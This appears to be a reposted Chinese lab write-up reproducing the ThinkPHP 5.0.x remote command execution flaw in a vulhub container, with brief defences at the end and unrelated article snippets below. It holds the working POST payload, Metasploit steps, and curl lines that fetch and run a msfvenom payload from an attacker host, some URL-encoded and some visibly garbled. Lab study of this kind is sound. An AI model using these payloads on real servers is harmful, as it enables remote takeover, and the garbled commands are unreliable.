thinkphp漏洞复现

news/2024/6/16 10:56:45/文章来源:https://blog.csdn.net/zzf011900/article/details/137260734

thinkphp 远程命令执行漏洞php的一个开发框架,5.0.23及以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用request类任意方法,构造payload,导致远程命令执行

sq1 注入 恶意构造的语句在数据库里面执行从而获取了数据

Rce 恶意构迷的语句在服务器(系统)上执行,从而达到黑客控制服务器的目的

类:方法的集合

方法:函数

函数:一串按照顺序和一定逻辑执行的代码

一、启动靶场

vulhub-master/thinkphp/

启动

docker-compose up -d

浏览器访问:http://192.168.59.10:8080/

  • 通过教程复现漏洞

application/x-www-form-urlencoded

application/json

Basic

浏览器访问:http://192.168.59.10:8080/index.php?s=captcha

抓包修改为POST

指定类型Content-Type:application/x-www-form-urlencoded

增加请求体:

_method= _construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

server[REQUEST_METHOD]表示要访问页面的请求方法

第二种方法:

_method= _construct&filter[]=system&method=get[]=ls

  • 利用msf复现

msfdb run

info

msf6 >use 0

msf6 exploit(unix/webapp/thinkphp_rce)>show options

msf6 exploit(unix/webapp/thinkphp_rce)>set rhosts 192.168.59.10

rhosts =>192.168.59.10

msf6 exploit(unix/webapp/thinkphp_rce)>set lhost 192.168.59.6

lhost =>192.168.59.6

msf6 exploit(unix/webapp/thinkphp_rce)>run

MSF实现直接获取权限原理

  1. 开启4444端口监听
  2. 检查有没有thinkphp漏洞
  3. 生成恶意程序
  4. 开放8080端口,可以让目标机从8080端口下载恶意程序
  5. 通过漏洞直接执行远程命令:

Curl -so /tmp/jGtAMkyrhttp://192.168.59.6:8080/VEJVQHJF2Y01;chmod +x/tmp/jGtAMkyr;/tmp/jGtAMkyr;rm-f/tmp/jGtAMkyr

  • 手工利用
  1. 生成恶意文件

msfvenom 5555

curl -0 /tmp/linux_5555 http://192.168.59.6/linux_5555;chmod +x/tmp/linux_5555;/tmp/linux_5555

%63%75%72%6c%20%2d%6f%20%2f%74%6d%70%2f%6c%69%6e%75%78%5f%35%35%35%35%20%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2%35%39%2e%36%2f%6c%69%6e%75%78%5f%35%35%35%35%36%63%68%6d%6f%64%20%2b%78%20%2f%74%6d%70%2f%6c%69%6e%75%78%5f%35%35%35%35%3b%2f%74%6d%70%2f%6c%69%6e%75%78%5f%35%35%35%35

curl http://192.168.59.10:8080/index.php?s=captcha -dmethod= construct&filter]=system&method=get&server [REQUEST_METHOD]=%63%75%72%6c%20%2d%6f%20%2f%74%6d%70%2f%6c%69%6e%75%78%5f%35%35%35%35%20%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%35%39%2e%36%2f%6c%69%6e%75%78%5f%35%35%35%35%36%63%68%6d%6f%64%20%26%78%20%2f%74%6d%70%2f%6c%69%6e%75%78%5f%35%35%35%35%36%2f%74%6d%70%2f%6c%69%6e%75%78%5f%35%35%35%35"

curl http://192.168.59.10:8080/index.php?s=captcha -dmethod= construct&filter[]=system&method=get&server[REQUEST METHOD]=curl -0 /tmp/linux_5555 http://192.168.59.6/linux_5555;chmod +x/tmp/linux_5555;/tmp/linux_5555"

  • 防御方法
  1. 升级thinkphp组件
  2. 打补丁
  3. 对method和_method进行过滤

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_1035285.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【数字图像处理】二值图和灰度图的形态学处理

文章目录 形态学处理二值图形态学处理二值图形态学基本算子二值图连通分量提取、区域标记二值图细化算法 灰度图形态学处理灰度图形态学基本算子灰度图形态学梯度灰度图 tophat 算法 形态学处理 二值图形态学处理 二值图形态学基本算子 二值图形态学图像处理通常在目标图像中…

Spring Boot 学习(1)——环境搭建

一只老辣鸟的自我救赎 不科普,简单记录学习过程。 开发环境约束: jdk1.8 Spring Boot 1.5.9 Spring 4.3.13 Maven 3.3.3 Intellij IDEA 2017 【脑瓜灵光的开发环境随意,不灵光尽量按上述约束设置。看了好些教程总…

基于SSM+MySQL的校园在线点餐系统设计与实现(包运行调试)

介绍 SSM:采用主流的SpringMVC、Spring、Mybatis框架构建 layui:Layui是一套开源的 Web UI 解决方案,采用自身经典的模块化规范,并遵循原生 HTML/CSS/JS 的开发方式,常适合网页界面的快速开发 源码论文获取 文章链接…

Docker实例

华子目录 docker实例1.为Ubuntu镜像添加ssh服务2.Docker安装mysql docker实例 1.为Ubuntu镜像添加ssh服务 (1)访问https://hub.docker.com,寻找合适的Ubuntu镜像 (2)拉取Ubuntu镜像 [rootserver ~]# docker pull ubuntu:latest latest: Pulling from library/ub…

VMware虚拟机三种网络模式配置

vmware有三种网络工作模式:Bridged(桥接模式)、NAT(网络地址转换模式)、Host-Only(仅主机模式)。 1. 打开网络编辑器(编辑 --> 虚拟网络编辑器) 在主机上有VMware Ne…

pytest--python的一种测试框架--pytest初阶

前言 使用pytest去做测试时我们对文件名的命名其实是有规范的,要用test_开头!!! 一、pytest初阶 def test_one():expect1actual1assert expectactual#测试专用语句:assert,识别期望与实际值是否相等这个…

【Node.js】大文件上传

概述 大文件上传通常采用分片上传。如果因为某些原因上传突然中断,解决问题之后可以接着之前的分片上传,而不需要从头开始上传,也就是断点续传。此外还可以利用多个网络连接并行上传多个分片,提高上传速度。 注:前端不…

Linux 著名的sudo、su是什么?怎么用?

一、su 什么是su? su命令(简称是:substitute 或者 switch user )用于切换到另一个用户,没有指定用户名,则默认情况下将以root用户登录。 为了向后兼容,su默认不改变当前目录,只设…

C++ 中的 vector 的模拟实现【代码纯享】

文章目录 C 中的 vector 模拟实现1. vector 的基本概念2. vector 的基本操作3. vector 的模拟实现4.代码纯享5. 总结 C 中的 vector 模拟实现 在 C 中,vector 是一个非常重要的容器,它提供了动态数组的功能。在本篇博客中,我们将尝试模拟实现…

基于CycleGan开源项目实战图像合成

项目代码及数据链接见文末 没有配对图像能够进行图像生成吗?当然可以,CycleGan不需要配对的数据,例如,只要我们知道马的样子和斑马的样子,我们就能够很轻松的将马转化为斑马。 1.网络结构 传统GAN网络是,我…

src挖掘技巧总结分享

src挖洞技术分享 src推荐刚入门的新手首选公益src如漏洞盒子、补天src,因为漏洞盒子收录范围广,只要是国内的站点都收入,相比其它src平台挖掘难度非常适合新手。后续可以尝试先从一些小的src厂商入手。 首先是熟能生巧,我一开始挖…

java网络编程——网络编程概述及UDP/TCP通信编程的实现

前言: 学习到通信了,整理下相关知识点。打好基础,daydayup!!! 网络编程 网络编程指可以让设备中的程序与网络上其他设备中的程序进行数据交互。 基本的通信架构 基本的通信架构有两种形式:CS架构(Client客户端/Server服…

Docker数据卷挂载

一、容器与数据耦合的问题: 数据卷是虚拟的,不真实存在的,它指向文件中的文件夹 ,属主机文件系统通过数据卷和容器数据进行联系,你改变我也改变。 解决办法: 对宿主机文件系统内的文件进行修改,会立刻反应…

光伏无人机:绿色能源与航空技术的融合创新

在可再生能源和无人机技术快速发展的背景下,光伏无人机作为一种新兴的绿色航空器,正逐渐展现出其独特的优势和广阔的应用前景。本文将深入探讨光伏无人机的原理、优势以及其在多个领域的应用,展望其未来的发展趋势。 一、光伏无人机的原理 光…

Midjourney绘图欣赏系列(十五)

Midjourney介绍 Midjourney 是生成式人工智能的一个很好的例子,它根据文本提示创建图像。它与 Dall-E 和 Stable Diffusion 一起成为最流行的 AI 艺术创作工具之一。与竞争对手不同,Midjourney 是自筹资金且闭源的,因此确切了解其幕后内容尚不…

MATLAB 自定义均值滤波 (53)

MATLAB 自定义均值滤波 (53) 一、算法介绍二、算法实现1.原理2.代码一、算法介绍 均值滤波,是一种常见的点云平滑算法,改善原始点云的数据质量问题,MATLAB自带的工具似乎不太友好,这里提供自定义实现的点云均值滤波算法,具体效果如下所示: 均值滤波前: 均值滤波后:…

基于单片机20v数字电压表仿真系统设计

**单片机设计介绍,基于单片机20v数字电压表仿真系统设计 文章目录 一 概要二、功能设计三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机20V数字电压表仿真系统设计的主要目标是实现一个能够准确测量和显示20V直流电压的仿真系统。以下是该设计的主…

安卓Activity上滑关闭效果实现

最近在做一个屏保功能,需要支持如图的上滑关闭功能。 因为屏保是可以左右滑动切换的,内部是一个viewpager 做这个效果的时候,关键就是要注意外层拦截触摸事件时,需要有条件的拦截,不能影响到内部viewpager的滑动处理…

认识什么是Git

目录 1. 认识Git 1.1. 问题引入 1.2. 概念 1.3. 作用 1.4. 如何学 1.5. Git 安装 1.6. Git配置用户信息 2. Git仓库 2.1. Git 仓库(repository) 2.2. 创建 2.3. 需求 3. Git的三个区域 3.1. Git 使用时的三个区域 3.2. 工作区的内容&#…

Datacom HCIP笔记-OSPF协议 之二

链路:路由器之间的相连的链路 状态:链路上的参数在某一时刻的状态 单边邻居 one way? 收到对端发来的hello报文,其中没有自己的router id LSA类型: 1类LSA:描述路由器自身加入到ospf进程中的直连链路的状态…